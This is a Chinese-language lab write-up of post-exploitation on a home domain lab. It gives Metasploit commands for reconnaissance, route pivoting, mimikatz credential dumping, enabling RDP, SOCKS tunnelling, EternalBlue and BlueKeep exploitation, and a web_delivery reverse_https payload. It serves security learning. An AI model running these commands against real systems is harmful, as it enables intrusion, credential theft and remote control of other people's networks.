环境介绍:
主机介绍:
靶机一:win7(192.168.107.141)
靶机二:Win 2012 Server R2(192.168.107.137,域控服务器)
攻击机:Debian 10(119.x.x.x)
本来想再添加一个网卡,尽量模仿真实环境。但Vmware似乎不能添加网卡,所以只有1个网段
目前进展:
攻击机刚刚获取win7的meterpreter
检查数据库连接情况:
db_status
服务器相关信息收集:
run post/windows/gather/checkvm # 查看是否为虚拟机
run post/windows/gather/enum_patches # 查看补丁
run post/windows/gather/enum_services # 查看对应的程序服务
run post/windows/gather/enum_applications # 查看安装的应用
run post/windows/gather/forensics/enum_drives # 查看磁盘信息
run post/windows/gather/enum_shares # 查看共享
列举当前登录的用户:
该模块同时还会列举c:\users\下的所有目录及sid
run post/windows/gather/enum_logged_on_users
获取内网网段信息:
route #打印路由表
run get_local_subnets
添加一条通向目标服务器内网的路由:
run autoroute -s 192.168.107.0/24
打印路由信息,确认是否成功添加路由:
run autoroute -p
扫描IP段及端口开放情况:
方案一:进入shell,通过arp协议,显示电脑上所有的ARP缓存条目:
发现存在主机:192.168.107.137
方案二:直接进行整个网段端口扫描(效率低,不建议使用)
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.107.0/24
set threads 50
run
对当前控制主机提权:
方案一:快速识别系统中可能被利用的漏洞进行提权:
run post/multi/recon/local_exploit_suggester
方案二:查看系统补丁,然后根据补丁号去找exp(补丁结果不全,效率较低):
run post/windows/gather/enum_patches
方案三:进程注入提权:
ps
migrate num
获取明文密码:
方案一:加载mimikatz模块:
load mimikatz
常用命令:
msv # 获取hash
kerberos # 获取明文
ssp # 获取明文信息
tspkg # 尝试检索tspkg凭据
wdigest # 尝试检索wdigest凭据
mimikatz_command -f samdump::hashes # 获取hash
mimikatz_command -f sekurlsa::searchPasswords # 获取明文密码
方案二:抓取自动登录的用户名和密码:
很多用户习惯将计算机设置为自动登录,利用以下命令抓取自动登录的用户名和密码
run post/windows/gather/credentials/windows_autologin
开启远程桌面:
查找远程桌面开放的端口(不一定是3389):
# 查看TermService服务,得到PID
tasklist /svc | find "Ter"
# 查看远程桌面开放的端口
netstat -ano | find "pid"
发现目标未开启远程桌面,尝试开启:
run post/windows/manage/enable_rdp
端口转发连接远程桌面:
由于我没win的外网服务器,这里通过NatApp进行内网穿透,随机域名/随机TCP、UDP、不定时更换域名/端口和自定义端口
1、注册后购买隧道,选择免费的即可:
2、下载config.ini,输入自己的authtoken
3、下载客户端到目标主机,运行Natapp
到这里这台主机已经渗透得差不多了
内网漫游:
搭建socks搭建:
注意:在使用代理之前,我们需要先添加路由
use auxiliary/server/socks4a
run
vi /etc/proxychains.conf
socks4 127.0.0.1 1080
可以看到成功访问内网Web服务~
但其实 proxychains 还是有很多问题的,不太稳定... 为了延缓这一缺点,MSF 有一个参数可以弥补这一缺点:
msf6 > setg Proxies socks5:你的socksIP:端口
MSF 只需要设置这一条参数就可以接入 Socks5 隧道!
之后为了梳理扫描到的漏洞资产或者其他,我们需要把 MSF 连接到数据库:
msf6 > db_connect postgres:[email protected]/msfdb
Connected to Postgres data service: 127.0.0.1/msfdb
设置好之后,以后通过 MSF 扫描到的资产或者漏洞都可以保存到数据库:
msf6 > services # 查看扫描到的资产IP及端口
msf6 > vulns # 查看扫描到的漏洞资产
获取目标主机操作系统信息:
proxychains nmap -Pn -O 192.168.107.137
理论上是可行的,从下图中看到流量会经过socks,但最后不知为啥没结果。。师傅们知道的话带带弟弟把
探测及利用MS17-010漏洞(永恒之蓝):
漏洞探测:
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.107.0/24
set threads 50
run
漏洞利用:
需要针对与不同的操作系统位数来选择不同的利用模块打;如果目标操作系统是 Win7x64、2008x64 的,可以直接使用正向代理 exploit 利用模块打过去:
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
run
要是目标系统是 2003x32、Win7x32 的只能使用这个模块去执行命令:
msf6> use auxiliary/admin/smb/ms17_010_command
msf6> set command whoami
msf6> run
利用思路:添加一个超级管理员权限的用户,开启它远程桌面服务
CVE-2019-0708-远程代码执行:
除了永恒之蓝还有 0708 可以快速获取到目标主机权限(前提目标开启了 3389,未打补丁),实际情况下很多单位都只打了永恒之蓝的补丁,对于 0708 的补丁还没打,所以很多情况下还是可以利用的!针对于0708 可以使用这个模块打:
msf6> use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
msf6> run
注意:0708 一般来说要打很多次,其中目标主机还会关机蓝屏
哈希传递:
当服务器存在杀软或其他情况,无法获取明文密码时,可通过PTH进行内网漫游,在之前的文章有记录,具体方法这里不再叙述
补充:
常用命令:
idletime #查看运行时间
screenshot # 屏幕截图
webcam_list #查看目标机是否有摄像头
数据库后端命令:
db_connect 连接到现有的数据库
db_disconnect 断开当前数据库实例
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块缓存
db_status 显示当前的数据库状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有注释
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
use exploit/multi/script/web_delivery
set targets 2
set payload windows/x64/meterpreter/reverse_https
set lhost xxx.xxx.xxx.xxx
set lport 4332
set srvport
run
参考如下:
后渗透阶段总结(提权+信息收集+内外渗透+后门)
基于 Metasploit 如何快速在内网拿到其他跳板机